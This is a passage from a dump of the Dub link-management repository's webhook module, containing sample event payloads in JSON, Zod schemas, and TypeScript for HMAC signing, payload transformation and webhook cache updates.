    "content": "{\n  \"click\": {\n    \"id\": \"yNrYm0F6r1KMnq6N\",\n    \"timestamp\": \"2025-02-03T09:35:57.926Z\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"country\": \"US\",\n    \"city\": \"San Jose\",\n    \"region\": \"CA\",\n    \"continent\": \"NA\",\n    \"device\": \"Desktop\",\n    \"browser\": \"Unknown\",\n    \"os\": \"Unknown\",\n    \"referer\": \"(direct)\",\n    \"refererUrl\": \"(direct)\",\n    \"qr\": false,\n    \"ip\": \"52.234.41.119\"\n  },\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"trackConversion\": true,\n    \"externalId\": null,\n    \"tenantId\": null,\n    \"partnerId\": \"pn_cm0lcuvtz000xcutmqw4a7wi3\",\n    \"programId\": \"prog_CYCu7IMAapjkRpTnr8F1azjN\",\n    \"archived\": false,\n    \"expiresAt\": \"1970-01-01T00:00:00.000Z\",\n    \"expiredUrl\": null,\n    \"disabledAt\": null,\n    \"password\": null,\n    \"proxy\": false,\n    \"title\": \"GitHub - dubinc/dub: Open-source link management infrastructure. Loved by modern marketing teams like Vercel, Raycast...\",\n    \"description\": \"Open-source link management infrastructure. Loved by modern marketing teams like Vercel, Raycast, and Perplexity. - dubinc/dub\",\n    \"image\": \"https://repository-images.githubusercontent.com/529708137/419e9be4-a9d1-4c85-9f83-47a78ad92583\",\n    \"video\": null,\n    \"rewrite\": false,\n    \"doIndex\": false,\n    \"ios\": null,\n    \"android\": null,\n    \"geo\": null,\n    \"publicStats\": false,\n    \"folderId\": null,\n    \"tagId\": null,\n    \"tags\": [],\n    \"webhookIds\": [],\n    \"comments\": null,\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"qrCode\": \"https://api.dub.co/qr?url=https://dub.sh/track-test?qr=1\",\n    \"utm_source\": null,\n    \"utm_medium\": null,\n    \"utm_campaign\": null,\n    \"utm_term\": null,\n    \"utm_content\": null,\n    \"userId\": \"cludszk1h0000wmd2e0ea2b0p\",\n    \"workspaceId\": \"ws_clrei1gld0002vs9mzn93p8ik\",\n    \"clicks\": 882,\n    \"lastClicked\": \"2025-01-14T04:49:10.000Z\",\n    \"leads\": 3631,\n    \"sales\": 2811,\n    \"saleAmount\": 290300,\n    \"createdAt\": \"2024-09-02T18:49:56.136Z\",\n    \"updatedAt\": \"2025-01-13T22:46:22.152Z\",\n    \"projectId\": \"clrei1gld0002vs9mzn93p8ik\",\n    \"testVariants\": null,\n    \"testCompletedAt\": null,\n    \"testStartedAt\": null\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/link-created.json",
    "content": "{\n  \"id\": \"cm0b87844000dismqhkviju54\",\n  \"domain\": \"dub.sh\",\n  \"key\": \"sOvvXDT\",\n  \"url\": \"https://github.com/stack-auth/stack\",\n  \"trackConversion\": false,\n  \"externalId\": null,\n  \"tenantId\": null,\n  \"programId\": null,\n  \"partnerId\": null,\n  \"archived\": false,\n  \"expiresAt\": null,\n  \"expiredUrl\": null,\n  \"disabledAt\": null,\n  \"password\": null,\n  \"proxy\": false,\n  \"title\": null,\n  \"description\": null,\n  \"image\": null,\n  \"video\": null,\n  \"rewrite\": false,\n  \"doIndex\": false,\n  \"ios\": null,\n  \"android\": null,\n  \"geo\": null,\n  \"publicStats\": false,\n  \"folderId\": null,\n  \"tagId\": null,\n  \"tags\": [],\n  \"webhookIds\": [],\n  \"comments\": null,\n  \"shortLink\": \"https://dub.sh/sOvvXDT\",\n  \"qrCode\": \"https://api.dub.co/qr?url=https://dub.sh/sOvvXDT?qr=1\",\n  \"utm_source\": null,\n  \"utm_medium\": null,\n  \"utm_campaign\": null,\n  \"utm_term\": null,\n  \"utm_content\": null,\n  \"userId\": \"cm022rkcw0000ikt14mscg9sg\",\n  \"workspaceId\": \"ws_cm022sis60003ikt1syy7kfhl\",\n  \"clicks\": 0,\n  \"lastClicked\": null,\n  \"leads\": 0,\n  \"sales\": 0,\n  \"saleAmount\": 0,\n  \"createdAt\": \"2024-08-26T16:41:52.084Z\",\n  \"updatedAt\": \"2024-08-26T16:41:52.084Z\",\n  \"projectId\": \"cm022sis60003ikt1syy7kfhl\",\n  \"testVariants\": null,\n  \"testCompletedAt\": null,\n  \"testStartedAt\": null\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/link-deleted.json",
    "content": "{\n  \"id\": \"cm0b87844000dismqhkviju54\",\n  \"domain\": \"dub.sh\",\n  \"key\": \"sOvvXDT\",\n  \"url\": \"https://github.com/stack-auth/stack\",\n  \"trackConversion\": false,\n  \"externalId\": null,\n  \"tenantId\": null,\n  \"programId\": null,\n  \"partnerId\": null,\n  \"archived\": false,\n  \"expiresAt\": null,\n  \"expiredUrl\": null,\n  \"disabledAt\": null,\n  \"password\": null,\n  \"proxy\": false,\n  \"title\": null,\n  \"description\": null,\n  \"image\": null,\n  \"video\": null,\n  \"rewrite\": false,\n  \"doIndex\": false,\n  \"ios\": null,\n  \"android\": null,\n  \"geo\": null,\n  \"publicStats\": false,\n  \"folderId\": null,\n  \"tagId\": null,\n  \"tags\": [],\n  \"webhookIds\": [],\n  \"comments\": null,\n  \"shortLink\": \"https://dub.sh/sOvvXDT\",\n  \"qrCode\": \"https://api.dub.co/qr?url=https://dub.sh/sOvvXDT?qr=1\",\n  \"utm_source\": null,\n  \"utm_medium\": null,\n  \"utm_campaign\": null,\n  \"utm_term\": null,\n  \"utm_content\": null,\n  \"userId\": \"cm022rkcw0000ikt14mscg9sg\",\n  \"workspaceId\": \"ws_cm022sis60003ikt1syy7kfhl\",\n  \"clicks\": 0,\n  \"lastClicked\": null,\n  \"leads\": 0,\n  \"sales\": 0,\n  \"saleAmount\": 0,\n  \"createdAt\": \"2024-08-26T16:41:52.084Z\",\n  \"updatedAt\": \"2024-08-26T16:41:52.084Z\",\n  \"projectId\": \"cm022sis60003ikt1syy7kfhl\",\n  \"testVariants\": null,\n  \"testCompletedAt\": null,\n  \"testStartedAt\": null\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/link-updated.json",
    "content": "{\n  \"id\": \"cm0b87844000dismqhkviju54\",\n  \"domain\": \"dub.sh\",\n  \"key\": \"sOvvXDT\",\n  \"url\": \"https://github.com/stack-auth/stack\",\n  \"trackConversion\": false,\n  \"externalId\": null,\n  \"tenantId\": null,\n  \"programId\": null,\n  \"partnerId\": null,\n  \"archived\": false,\n  \"expiresAt\": null,\n  \"expiredUrl\": null,\n  \"disabledAt\": null,\n  \"password\": null,\n  \"proxy\": false,\n  \"title\": null,\n  \"description\": null,\n  \"image\": null,\n  \"video\": null,\n  \"rewrite\": false,\n  \"doIndex\": false,\n  \"ios\": null,\n  \"android\": null,\n  \"geo\": null,\n  \"publicStats\": false,\n  \"folderId\": null,\n  \"tagId\": null,\n  \"tags\": [],\n  \"webhookIds\": [],\n  \"comments\": null,\n  \"shortLink\": \"https://dub.sh/sOvvXDT\",\n  \"qrCode\": \"https://api.dub.co/qr?url=https://dub.sh/sOvvXDT?qr=1\",\n  \"utm_source\": null,\n  \"utm_medium\": null,\n  \"utm_campaign\": null,\n  \"utm_term\": null,\n  \"utm_content\": null,\n  \"userId\": \"cm022rkcw0000ikt14mscg9sg\",\n  \"workspaceId\": \"ws_cm022sis60003ikt1syy7kfhl\",\n  \"clicks\": 0,\n  \"lastClicked\": null,\n  \"leads\": 0,\n  \"sales\": 0,\n  \"saleAmount\": 0,\n  \"createdAt\": \"2024-08-26T16:41:52.084Z\",\n  \"updatedAt\": \"2024-08-26T16:41:52.084Z\",\n  \"projectId\": \"cm022sis60003ikt1syy7kfhl\",\n  \"testVariants\": null,\n  \"testCompletedAt\": null,\n  \"testStartedAt\": null\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/partner-application-submitted.json",
    "content": "{\n  \"id\": \"pga_1K9CEN4JWYACNHS4DR3PWNR2F\",\n  \"createdAt\": \"2025-11-06T11:25:59.264Z\",\n  \"partner\": {\n    \"id\": \"pn_1K9BZE1K285BSTX4W6MPKXJFZ\",\n    \"name\": \"Matthew Hayden\",\n    \"email\": \"matthew@example.com\",\n    \"companyName\": null,\n    \"image\": null,\n    \"description\": \"I'm a content creator who works with brands to grow their business.\",\n    \"country\": \"US\",\n    \"groupId\": \"grp_1K9BZE1K2RWYAWB2K1YN5TY7F\",\n    \"status\": \"pending\",\n    \"website\": null,\n    \"youtube\": null,\n    \"twitter\": null,\n    \"linkedin\": null,\n    \"instagram\": null,\n    \"tiktok\": null\n  },\n  \"applicationFormData\": [\n    {\n      \"label\": \"Website\",\n      \"value\": \"https://example.com/\"\n    },\n    {\n      \"label\": \"How do you plan to promote Acme?\",\n      \"value\": \"I'll promote Acme by sharing it on my social platforms and writing a blog post.\"\n    },\n    {\n      \"label\": \"Any additional questions or comments?\",\n      \"value\": null\n    }\n  ]\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/partner-enrolled.json",
    "content": "{\n  \"id\": \"pn_1K9BZE1K285BSTX4W6MPKXJFZ\",\n  \"name\": \"Matthew Hayden\",\n  \"email\": \"matthew@example.com\",\n  \"image\": null,\n  \"country\": \"MR\",\n  \"companyName\": null,\n  \"description\": \"I'm a content creator who works with brands to grow their business.\",\n  \"tenantId\": \"64dc9a8c-5cf9-4446-b53b-cdc15199fafc\",\n  \"programId\": \"prog_CYCu7IMAapjkRpTnr8F1azjN\",\n  \"partnerId\": \"pn_1K9BZE1K285BSTX4W6MPKXJFZ\",\n  \"groupId\": \"grp_1KEC01MXCWZW95SMYMV85NBYM\",\n  \"status\": \"approved\",\n  \"defaultPayoutMethod\": null,\n  \"paypalEmail\": null,\n  \"stripeConnectId\": null,\n  \"payoutsEnabledAt\": null,\n  \"trustedAt\": null,\n  \"createdAt\": \"2025-02-07T17:58:18.793Z\",\n  \"applicationId\": null,\n  \"website\": null,\n  \"youtube\": null,\n  \"twitter\": null,\n  \"linkedin\": null,\n  \"instagram\": null,\n  \"tiktok\": null,\n  \"totalCommissions\": 2500,\n  \"clickRewardId\": null,\n  \"leadRewardId\": null,\n  \"saleRewardId\": \"rw_1KEC01MXCW9RK7PQMCTZQCPB3\",\n  \"discountId\": \"disc_1KEC01MXC5H50XQMSN83VCW65\",\n  \"bannedAt\": null,\n  \"bannedReason\": null,\n  \"totalClicks\": 100,\n  \"totalLeads\": 70,\n  \"totalConversions\": 10,\n  \"totalSales\": 10,\n  \"totalSaleAmount\": 2500,\n  \"netRevenue\": 0,\n  \"earningsPerClick\": 25,\n  \"averageLifetimeValue\": null,\n  \"clickToLeadRate\": 0.7,\n  \"clickToConversionRate\": 0.1,\n  \"leadToConversionRate\": 0.142857,\n  \"returnOnAdSpend\": null,\n  \"links\": [\n    {\n      \"id\": \"link_5myDHLqhIQvUmUPjchVygF9R\",\n      \"domain\": \"refer.dub.co\",\n      \"key\": \"track-test\",\n      \"shortLink\": \"https://refer.dub.co/track-test\",\n      \"url\": \"https://refer.dub.co\",\n      \"clicks\": 100,\n      \"leads\": 70,\n      \"conversions\": 10,\n      \"sales\": 10,\n      \"saleAmount\": 2500\n    }\n  ]\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/payload.ts",
    "content": "import { WebhookTrigger } from \"@/lib/types\";\nimport bountyCreated from \"./bounty-created.json\";\nimport bountyUpdated from \"./bounty-updated.json\";\nimport commissionCreated from \"./commission-created.json\";\nimport leadCreated from \"./lead-created.json\";\nimport linkClicked from \"./link-clicked.json\";\nimport linkCreated from \"./link-created.json\";\nimport linkDeleted from \"./link-deleted.json\";\nimport linkUpdated from \"./link-updated.json\";\nimport partnerApplicationSubmitted from \"./partner-application-submitted.json\";\nimport partnerEnrolled from \"./partner-enrolled.json\";\nimport payoutConfirmed from \"./payout-confirmed.json\";\nimport saleCreated from \"./sale-created.json\";\n\nexport const samplePayload: Record<WebhookTrigger, any> = {\n  \"link.created\": linkCreated,\n  \"link.updated\": linkUpdated,\n  \"link.deleted\": linkDeleted,\n  \"link.clicked\": linkClicked,\n  \"lead.created\": leadCreated,\n  \"sale.created\": saleCreated,\n  \"partner.application_submitted\": partnerApplicationSubmitted,\n  \"partner.enrolled\": partnerEnrolled,\n  \"commission.created\": commissionCreated,\n  \"bounty.created\": bountyCreated,\n  \"bounty.updated\": bountyUpdated,\n  \"payout.confirmed\": payoutConfirmed,\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/payout-confirmed.json",
    "content": "{\n  \"id\": \"po_1K869T6CWEH4NB78NS3QYHDJE\",\n  \"invoiceId\": \"inv_1K94KX5ZWHTWFG07NP96AY90F\",\n  \"amount\": 5000,\n  \"currency\": \"USD\",\n  \"status\": \"completed\",\n  \"method\": null,\n  \"description\": \"Dub Partners payout (Acme)\",\n  \"periodStart\": \"2025-10-22T15:49:33.343Z\",\n  \"periodEnd\": \"2025-10-31T18:29:59.999Z\",\n  \"createdAt\": \"2025-10-22T15:50:13.661Z\",\n  \"initiatedAt\": \"2025-10-22T15:50:13.661Z\",\n  \"paidAt\": null,\n  \"mode\": \"external\",\n  \"partner\": {\n    \"id\": \"cm6v2l38p000zubyl5fly3i7w\",\n    \"name\": \"Matthew Hayden\",\n    \"email\": \"matthew@example.com\",\n    \"image\": null,\n    \"country\": \"US\",\n    \"tenantId\": \"64dc9a8c-5cf9-4446-b53b-cdc15199fafc\",\n    \"status\": \"approved\"\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/sample-events/sale-created.json",
    "content": "{\n  \"eventName\": \"Subscription\",\n  \"customer\": {\n    \"id\": \"cm25onzuv0001s1bbxchrc0ae\",\n    \"externalId\": \"cus_jTrfVKYN3Buc3F80JoqBiY0g\",\n    \"name\": \"Rural Red Goldfish\",\n    \"email\": \"rural.red.goldfish@example.com\",\n    \"avatar\": \"https://api.dub.co/og/avatar/cus_jTrfVKYN3Buc3F80JoqBiY0g\",\n    \"createdAt\": \"2024-10-12T04:55:36.007Z\"\n  },\n  \"click\": {\n    \"id\": \"GWGrkftJdYlZD2mq\",\n    \"timestamp\": \"2025-02-03T09:35:57.926Z\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"country\": \"US\",\n    \"city\": \"San Jose\",\n    \"region\": \"sfo1\",\n    \"continent\": \"NA\",\n    \"device\": \"Desktop\",\n    \"browser\": \"Chrome\",\n    \"os\": \"Mac OS\",\n    \"referer\": \"(direct)\",\n    \"refererUrl\": \"(direct)\",\n    \"qr\": false,\n    \"ip\": \"185.211.32.242\"\n  },\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"trackConversion\": true,\n    \"externalId\": null,\n    \"tenantId\": null,\n    \"partnerId\": \"pn_cm0lcuvtz000xcutmqw4a7wi3\",\n    \"programId\": \"prog_CYCu7IMAapjkRpTnr8F1azjN\",\n    \"archived\": false,\n    \"expiresAt\": \"1970-01-01T00:00:00.000Z\",\n    \"expiredUrl\": null,\n    \"disabledAt\": null,\n    \"password\": null,\n    \"proxy\": false,\n    \"title\": \"GitHub - dubinc/dub: Open-source link management infrastructure. Loved by modern marketing teams like Vercel, Raycast...\",\n    \"description\": \"Open-source link management infrastructure. Loved by modern marketing teams like Vercel, Raycast, and Perplexity. - dubinc/dub\",\n    \"image\": \"https://repository-images.githubusercontent.com/529708137/419e9be4-a9d1-4c85-9f83-47a78ad92583\",\n    \"video\": null,\n    \"rewrite\": false,\n    \"doIndex\": false,\n    \"ios\": null,\n    \"android\": null,\n    \"geo\": null,\n    \"publicStats\": false,\n    \"folderId\": null,\n    \"tagId\": null,\n    \"tags\": [],\n    \"webhookIds\": [],\n    \"comments\": null,\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"qrCode\": \"https://api.dub.co/qr?url=https://dub.sh/track-test?qr=1\",\n    \"utm_source\": null,\n    \"utm_medium\": null,\n    \"utm_campaign\": null,\n    \"utm_term\": null,\n    \"utm_content\": null,\n    \"userId\": \"cludszk1h0000wmd2e0ea2b0p\",\n    \"workspaceId\": \"ws_clrei1gld0002vs9mzn93p8ik\",\n    \"clicks\": 882,\n    \"lastClicked\": \"2025-01-14T04:49:10.000Z\",\n    \"leads\": 3632,\n    \"sales\": 2812,\n    \"saleAmount\": 290400,\n    \"createdAt\": \"2024-09-02T18:49:56.136Z\",\n    \"updatedAt\": \"2025-01-14T04:49:30.459Z\",\n    \"projectId\": \"clrei1gld0002vs9mzn93p8ik\",\n    \"testVariants\": null,\n    \"testCompletedAt\": null,\n    \"testStartedAt\": null\n  },\n  \"sale\": {\n    \"amount\": 100,\n    \"currency\": \"usd\",\n    \"paymentProcessor\": \"stripe\",\n    \"invoiceId\": \"INV_AUTi534JCiBUVdYmevCSYQ9G\"\n  },\n  \"metadata\": null\n}\n"
  },
  {
    "path": "apps/web/lib/webhook/schemas.ts",
    "content": "import * as z from \"zod/v4\";\nimport { clickEventSchema } from \"../zod/schemas/clicks\";\nimport { CommissionWebhookSchema } from \"../zod/schemas/commissions\";\nimport { CustomerSchema } from \"../zod/schemas/customers\";\nimport { linkEventSchema } from \"../zod/schemas/links\";\nimport {\n  EnrolledPartnerSchema,\n  WebhookPartnerSchema,\n} from \"../zod/schemas/partners\";\nimport { partnerApplicationWebhookSchema } from \"../zod/schemas/program-application\";\nimport { WEBHOOK_TRIGGERS } from \"./constants\";\n\nconst webhookSaleSchema = z.object({\n  amount: z.number(),\n  currency: z.string(),\n  paymentProcessor: z.string(),\n  invoiceId: z.string().nullable(),\n});\n\nexport const clickWebhookEventSchema = z.object({\n  click: clickEventSchema,\n  link: linkEventSchema,\n});\n\nexport const leadWebhookEventSchema = z.object({\n  eventName: z.string(),\n  customer: CustomerSchema,\n  click: clickEventSchema,\n  link: linkEventSchema,\n  partner: WebhookPartnerSchema.nullish(),\n  metadata: z.record(z.string(), z.any()).nullable().default(null),\n});\n\nexport const saleWebhookEventSchema = z.object({\n  eventName: z.string(),\n  customer: CustomerSchema,\n  click: clickEventSchema,\n  link: linkEventSchema,\n  sale: webhookSaleSchema,\n  partner: WebhookPartnerSchema.nullish(),\n  metadata: z.record(z.string(), z.any()).nullable().default(null),\n});\n\n// Schema of the payload sent to the webhook endpoint by Dub\nexport const webhookPayloadSchema = z.object({\n  id: z.string().describe(\"Unique identifier for the event.\"),\n  event: z\n    .enum(WEBHOOK_TRIGGERS)\n    .describe(\"The type of event that triggered the webhook.\"),\n  createdAt: z\n    .string()\n    .describe(\"The date and time when the event was created in UTC.\"),\n  data: z.any().describe(\"The data associated with the event.\"),\n});\n\n// Exported for the OpenAPI spec\nexport const webhookEventSchema = z\n  .union([\n    z\n      .object({\n        id: z.string(),\n        event: z.union([\n          z.literal(\"link.created\"),\n          z.literal(\"link.updated\"),\n          z.literal(\"link.deleted\"),\n        ]),\n        createdAt: z.string(),\n        data: linkEventSchema,\n      })\n      .meta({\n        description: \"Triggered when a link is created, updated, or deleted.\",\n        id: \"LinkWebhookEvent\",\n        outputId: \"LinkWebhookEvent\",\n      }),\n\n    z\n      .object({\n        id: z.string(),\n        event: z.literal(\"link.clicked\"),\n        createdAt: z.string(),\n        data: clickWebhookEventSchema,\n      })\n      .meta({\n        description: \"Triggered when a link is clicked.\",\n        id: \"LinkClickedEvent\",\n        outputId: \"LinkClickedEvent\",\n      }),\n\n    z\n      .object({\n        id: z.string(),\n        event: z.literal(\"lead.created\"),\n        createdAt: z.string(),\n        data: leadWebhookEventSchema,\n      })\n      .meta({\n        description: \"Triggered when a lead is created.\",\n        id: \"LeadCreatedEvent\",\n        outputId: \"LeadCreatedEvent\",\n      }),\n\n    z\n      .object({\n        id: z.string(),\n        event: z.literal(\"sale.created\"),\n        createdAt: z.string(),\n        data: saleWebhookEventSchema,\n      })\n      .meta({\n        description: \"Triggered when a sale is created.\",\n        id: \"SaleCreatedEvent\",\n        outputId: \"SaleCreatedEvent\",\n      }),\n\n    z\n      .object({\n        id: z.string(),\n        event: z.literal(\"partner.enrolled\"),\n        createdAt: z.string(),\n        data: EnrolledPartnerSchema,\n      })\n      .meta({\n        description: \"Triggered when a partner is enrolled.\",\n        id: \"PartnerEnrolledEvent\",\n        outputId: \"PartnerEnrolledEvent\",\n      }),\n\n    z\n      .object({\n        id: z.string(),\n        event: z.literal(\"partner.application_submitted\"),\n        createdAt: z.string(),\n        data: partnerApplicationWebhookSchema,\n      })\n      .meta({\n        description:\n          \"Triggered when a partner submits an application to join a program.\",\n        id: \"PartnerApplicationSubmittedEvent\",\n        outputId: \"PartnerApplicationSubmittedEvent\",\n      }),\n\n    z\n      .object({\n        id: z.string(),\n        event: z.literal(\"commission.created\"),\n        createdAt: z.string(),\n        data: CommissionWebhookSchema,\n      })\n      .meta({\n        description: \"Triggered when a commission is created for a partner.\",\n        id: \"CommissionCreatedEvent\",\n        outputId: \"CommissionCreatedEvent\",\n      }),\n  ])\n  .meta({\n    description: \"Webhook event schema\",\n    \"x-speakeasy-include\": true,\n    id: \"WebhookEvent\",\n  });\n"
  },
  {
    "path": "apps/web/lib/webhook/secret.ts",
    "content": "import {\n  WEBHOOK_SECRET_LENGTH,\n  WEBHOOK_SECRET_PREFIX,\n} from \"@/lib/webhook/constants\";\nimport { createToken } from \"../api/oauth/utils\";\n\nexport const createWebhookSecret = () => {\n  return createToken({\n    prefix: WEBHOOK_SECRET_PREFIX,\n    length: WEBHOOK_SECRET_LENGTH,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/signature.ts",
    "content": "// Create a signature for a webhook request\nexport const createWebhookSignature = async (secret: string, body: any) => {\n  if (!secret) {\n    throw new Error(\"A secret must be provided to create a webhook signature.\");\n  }\n\n  const keyData = new TextEncoder().encode(secret);\n  const messageData = new TextEncoder().encode(JSON.stringify(body));\n\n  const cryptoKey = await crypto.subtle.importKey(\n    \"raw\",\n    keyData,\n    { name: \"HMAC\", hash: \"SHA-256\" },\n    false,\n    [\"sign\"],\n  );\n\n  const signature = await crypto.subtle.sign(\"HMAC\", cryptoKey, messageData);\n  const signatureArray = Array.from(new Uint8Array(signature));\n  const hexSignature = signatureArray\n    .map((byte) => byte.toString(16).padStart(2, \"0\"))\n    .join(\"\");\n\n  return hexSignature;\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/transform.ts",
    "content": "import {\n  clickWebhookEventSchema,\n  webhookPayloadSchema,\n} from \"@/lib/webhook/schemas\";\nimport { Webhook } from \"@dub/prisma/client\";\nimport { OG_AVATAR_URL, nanoid, toCamelCase } from \"@dub/utils\";\nimport { ExpandedLink, transformLink } from \"../api/links/utils/transform-link\";\nimport { generateRandomName } from \"../names\";\nimport { ClickEventTB, WebhookTrigger } from \"../types\";\nimport { clickEventSchema } from \"../zod/schemas/clicks\";\nimport { WebhookSchema } from \"../zod/schemas/webhooks\";\nimport { WEBHOOK_EVENT_ID_PREFIX } from \"./constants\";\nimport { leadWebhookEventSchema, saleWebhookEventSchema } from \"./schemas\";\n\ninterface TransformWebhookProps\n  extends Pick<\n    Webhook,\n    \"id\" | \"name\" | \"url\" | \"secret\" | \"triggers\" | \"disabledAt\"\n  > {\n  links: { linkId: string }[];\n}\n\n// This is the format we send webhook details to the client\nexport const transformWebhook = (webhook: TransformWebhookProps) => {\n  return WebhookSchema.parse({\n    ...webhook,\n    linkIds: webhook.links.map(({ linkId }) => linkId),\n  });\n};\n\nexport const transformClickEventData = (\n  data: ClickEventTB & {\n    link: any;\n  },\n) => {\n  const click = Object.fromEntries(\n    Object.entries(data).map(([key, value]) => [toCamelCase(key), value]),\n  );\n\n  const parsedTimestamp = new Date(click.timestamp ?? Date.now());\n  const validTimestamp = Number.isNaN(parsedTimestamp.getTime())\n    ? new Date()\n    : parsedTimestamp;\n\n  return clickWebhookEventSchema.parse({\n    ...click,\n    click: clickEventSchema.parse({\n      ...click,\n      timestamp: validTimestamp,\n      id: click.clickId,\n    }),\n  });\n};\n\nconst transformWebhookCustomer = (customer: any) => {\n  return {\n    ...customer,\n    name: customer.name || customer.email || generateRandomName(),\n    externalId: customer.externalId || \"\",\n    country: undefined,\n    avatar: customer.avatar || `${OG_AVATAR_URL}${customer.id}`,\n  };\n};\n\nexport const transformLeadEventData = (data: any) => {\n  const lead = Object.fromEntries(\n    Object.entries(data).map(([key, value]) => [toCamelCase(key), value]),\n  );\n\n  const { customer } = data;\n\n  return leadWebhookEventSchema.parse({\n    ...lead,\n    customer: transformWebhookCustomer(customer),\n    click: {\n      ...lead,\n      id: lead.clickId,\n      timestamp: new Date(lead.timestamp + \"Z\"),\n    },\n    // transformLink -> add shortLink, qrCode, workspaceId, etc.\n    link: transformLink(lead.link as ExpandedLink),\n    metadata: lead.metadata || null,\n  });\n};\n\nexport const transformSaleEventData = (data: any) => {\n  const sale = Object.fromEntries(\n    Object.entries(data).map(([key, value]) => [toCamelCase(key), value]),\n  );\n\n  const { customer } = data;\n\n  return saleWebhookEventSchema.parse({\n    ...sale,\n    customer: transformWebhookCustomer(customer),\n    sale: {\n      amount: sale.amount,\n      currency: sale.currency,\n      paymentProcessor: sale.paymentProcessor,\n      invoiceId: sale.invoiceId,\n    },\n    click: {\n      ...sale,\n      id: sale.clickId,\n      timestamp: sale.clickedAt,\n      qr: sale.qr === 1,\n      bot: sale.bot === 1,\n    },\n    // transformLink -> add shortLink, qrCode, workspaceId, etc.\n    link: transformLink(sale.link as ExpandedLink),\n    metadata: sale.metadata ?? null,\n  });\n};\n\n// Transform the payload to the format expected by the webhook\nexport const prepareWebhookPayload = (trigger: WebhookTrigger, data: any) => {\n  return webhookPayloadSchema.parse({\n    id: `${WEBHOOK_EVENT_ID_PREFIX}${nanoid(25)}`,\n    data: data,\n    event: trigger,\n    createdAt: new Date().toISOString(),\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/webhook/types.ts",
    "content": "import * as z from \"zod/v4\";\nimport { BountySchema } from \"../zod/schemas/bounties\";\nimport { CommissionWebhookSchema } from \"../zod/schemas/commissions\";\nimport { linkEventSchema } from \"../zod/schemas/links\";\nimport { EnrolledPartnerSchema } from \"../zod/schemas/partners\";\nimport { payoutWebhookEventSchema } from \"../zod/schemas/payouts\";\nimport { partnerApplicationWebhookSchema } from \"../zod/schemas/program-application\";\nimport {\n  clickWebhookEventSchema,\n  leadWebhookEventSchema,\n  saleWebhookEventSchema,\n} from \"./schemas\";\n\nexport type ClickEventWebhookPayload = z.infer<typeof clickWebhookEventSchema>;\n\nexport type LeadEventWebhookPayload = z.infer<typeof leadWebhookEventSchema>;\n\nexport type SaleEventWebhookPayload = z.infer<typeof saleWebhookEventSchema>;\n\nexport type PartnerEventWebhookPayload = z.infer<typeof EnrolledPartnerSchema>;\n\nexport type PartnerApplicationWebhookPayload = z.infer<\n  typeof partnerApplicationWebhookSchema\n>;\n\nexport type CommissionEventWebhookPayload = z.infer<\n  typeof CommissionWebhookSchema\n>;\n\nexport type BountyEventWebhookPayload = z.infer<typeof BountySchema>;\n\nexport type PayoutEventWebhookPayload = z.infer<\n  typeof payoutWebhookEventSchema\n>;\n\nexport type WebhookEventPayload =\n  | z.infer<typeof linkEventSchema>\n  | ClickEventWebhookPayload\n  | LeadEventWebhookPayload\n  | SaleEventWebhookPayload\n  | PartnerEventWebhookPayload\n  | PartnerApplicationWebhookPayload\n  | CommissionEventWebhookPayload\n  | BountyEventWebhookPayload\n  | PayoutEventWebhookPayload;\n"
  },
  {
    "path": "apps/web/lib/webhook/update-webhook.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { webhookCache } from \"./cache\";\n\n// Based on the webhook count, we toggle the webhook status for the workspace\nexport const toggleWebhooksForWorkspace = async ({\n  workspaceId,\n}: {\n  workspaceId: string;\n}) => {\n  const activeWebhooksCount = await prisma.webhook.count({\n    where: {\n      projectId: workspaceId,\n      disabledAt: null,\n    },\n  });\n\n  await prisma.project.update({\n    where: {\n      id: workspaceId,\n    },\n    data: {\n      webhookEnabled: activeWebhooksCount > 0,\n    },\n  });\n};\n\n// Propagate webhook trigger changes to the webhook cache\nexport const propagateWebhookTriggerChanges = async ({\n  webhookIds,\n}: {\n  webhookIds: string[] | undefined;\n}) => {\n  if (!webhookIds) {\n    return;\n  }\n\n  const webhooks = await prisma.webhook.findMany({\n    where: {\n      id: {\n        in: webhookIds,\n      },\n    },\n    select: {\n      id: true,\n      triggers: true,\n      url: true,\n      secret: true,\n      disabledAt: true,\n      _count: {\n        select: {\n          links: true,\n        },\n      },\n    },\n  });\n\n  // Make the webhook a link-level\n  // If it has links + doesn't have link.clicked trigger\n  const linkLevelWebhooks = webhooks.filter(\n    (webhook) =>\n      webhook._count.links > 0 &&\n      !(webhook.triggers as string[])?.includes(\"link.clicked\"),\n  );\n\n  // Add link.clicked trigger to the webhook and cache it\n  if (linkLevelWebhooks.length > 0) {\n    const toUpdate = linkLevelWebhooks.map((webhook) => ({\n      ...webhook,\n      triggers: [...(webhook.triggers as string[]), \"link.clicked\"],\n    }));\n\n    await Promise.all([\n      ...linkLevelWebhooks.map((webhook) =>\n        prisma.webhook.update({\n          where: {\n            id: webhook.id,\n          },\n          data: {\n            triggers: [...(webhook.triggers as string[]), \"link.clicked\"],\n          },\n        }),\n      ),\n\n      webhookCache.mset(toUpdate),\n    ]);\n  }\n\n  // Check if there are any webhooks downgraded to workspace level\n  // If so, remove link.clicked trigger and remove it from the cache\n  const workspaceLevelWebhooks = webhooks.filter(\n    (webhook) =>\n      webhook._count.links === 0 &&\n      (webhook.triggers as string[])?.includes(\"link.clicked\"),\n  );\n\n  if (workspaceLevelWebhooks.length > 0) 